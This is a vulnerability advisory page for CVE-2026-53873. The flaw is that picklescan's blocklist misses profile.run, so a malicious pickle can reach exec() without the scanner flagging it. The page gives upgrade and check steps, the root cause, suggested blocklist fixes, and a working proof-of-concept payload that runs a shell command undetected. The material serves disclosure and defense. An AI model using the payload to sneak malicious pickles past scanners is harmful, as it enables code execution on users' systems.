CVE-2026-53873: Picklescan PickleScan's Profile.run Blocklist Mismatch Allows Vulnerability
CRITICALCVE-2026-53873 is a CRITICAL (CVSS 9.8) picklescan's profile.run blocklist mismatch allows vulnerability (CWE-184: Incomplete List of Disallowed Inputs) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan's profile.run blocklist mismatch allows exec() bypass. Remediation is available by upgrading affected packages to version 1.0.4.
CVE-2026-53873 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-53873
To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install picklescan>=1.0.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show picklescan
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-53873, inspect your installed packages using pip:
pip show picklescan
Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.4), your application is affected.
Note: The pip show picklescan command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-184: Incomplete List of Disallowed Inputs, where the product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-53873 Affected Picklescan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
picklescan
|
PyPI |
< 1.0.4
|
1.0.4
|
References
Frequently Asked Questions
What is CVE-2026-53873?
Which Picklescan versions are affected?
What version fixes CVE-2026-53873?
Is picklescan affected?
What is the CVSS score of CVE-2026-53873?
What CWE is associated with CVE-2026-53873?
How can I check PyPI dependencies for CVE-2026-53873?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-7wx9-6375-f5wh",
"modified" : "2026-06-18T14:43:20Z",
"published" : "2026-03-03T20:03:35Z",
"aliases" : [ "CVE-2026-53873" ],
"summary" : "PickleScan's profile.run blocklist mismatch allows exec() bypass",
"details" : "## Summary\n\npicklescan v1.0.3 blocks `profile.Profile.run` and `profile.Profile.runctx` but does NOT block the module-level `profile.run()` function. A malicious pickle calling `profile.run(statement)` achieves arbitrary code execution via `exec()` while picklescan reports 0 issues. This is because the blocklist entry `\"Profile.run\"` does not match the pickle global name `\"run\"`.\n\n## Severity\n\n**High** — Direct code execution via `exec()` with zero scanner detection.\n\n## Affected Versions\n\n- picklescan v1.0.3 (latest — the profile entries were added in recent versions)\n- Earlier versions also affected (profile not blocked at all)\n\n## Details\n\n### Root Cause\n\nIn `scanner.py` line 199, the blocklist entry for `profile` is:\n\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\n\nWhen a pickle file imports `profile.run` (the module-level function), picklescan's opcode parser extracts:\n- `module = \"profile\"`\n- `name = \"run\"`\n\nThe blocklist check at line 414 is:\n\n```python\nelif unsafe_filter is not None and (unsafe_filter == \"*\" or g.name in unsafe_filter):\n```\n\nThis checks: is `\"run\"` in `{\"Profile.run\", \"Profile.runctx\"}`?\n\n**Answer: NO.** `\"run\" != \"Profile.run\"`. The string comparison is exact — there is no prefix/suffix matching.\n\n### What `profile.run()` Does\n\n```python\n# From Python's Lib/profile.py\ndef run(statement, filename=None, sort=-1):\n prof = Profile()\n try:\n prof.run(statement) # Calls exec(statement)\n except SystemExit:\n pass\n ...\n```\n\n`profile.run(statement)` calls `exec(statement)` internally, enabling arbitrary Python code execution.\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n b = s.encode()\n return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# profile.run(\"import os; os.system('id')\")\npayload = (\n b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 60)\n + sbu(\"profile\") + sbu(\"run\") + b\"\\x93\"\n + sbu(\"import os; os.system('id')\")\n + b\"\\x85\" + b\"R\" + b\".\"\n)\n\n# picklescan: 0 issues (name \"run\" not in {\"Profile.run\", \"Profile.runctx\"})\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0 # CLEAN!\n\n# Execute: runs exec(\"import os; os.system('id')\") → RCE\npickle.loads(payload)\n```\n\n### Comparison\n\n| Pickle Global | Blocklist Entry | Match? | Result |\n|--------------|-----------------|--------|--------|\n| `(\"profile\", \"run\")` | `\"Profile.run\"` | NO — `\"run\" != \"Profile.run\"` | CLEAN (bypass!) |\n| `(\"profile\", \"Profile.run\")` | `\"Profile.run\"` | YES | DETECTED |\n| `(\"profile\", \"runctx\")` | `\"Profile.runctx\"` | NO — `\"runctx\" != \"Profile.runctx\"` | CLEAN (bypass!) |\n\nThe pickle opcode `GLOBAL` / `STACK_GLOBAL` resolves `profile.run` to the MODULE-LEVEL function, not the class method `Profile.run`. These are different Python objects but both execute arbitrary code.\n\n## Impact\n\n`profile.run()` provides direct `exec()` execution. An attacker can execute arbitrary Python code while picklescan reports no issues. This is particularly impactful because `exec()` can import any module and call any function, bypassing the blocklist entirely.\n\n## Suggested Fix\n\nChange the `profile` blocklist entry from:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\"},\n```\nto:\n```python\n\"profile\": \"*\",\n```\n\nOr explicitly add the module-level functions:\n```python\n\"profile\": {\"Profile.run\", \"Profile.runctx\", \"run\", \"runctx\"},\n```\n\n## Resources\n\n- picklescan source: `scanner.py` line 199 (`\"profile\": {\"Profile.run\", \"Profile.runctx\"}`)\n- picklescan source: `scanner.py` line 414 (exact string match logic)\n- Python source: `Lib/profile.py` `run()` function — calls `exec()`",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "picklescan"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7wx9-6375-f5wh"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53873"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/mmaitre314/picklescan"
}, {
"type" : "WEB",
"url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-profile-run-blocklist-bypass"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-184", "CWE-697" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-03T20:03:35Z",
"nvd_published_at" : null
}
}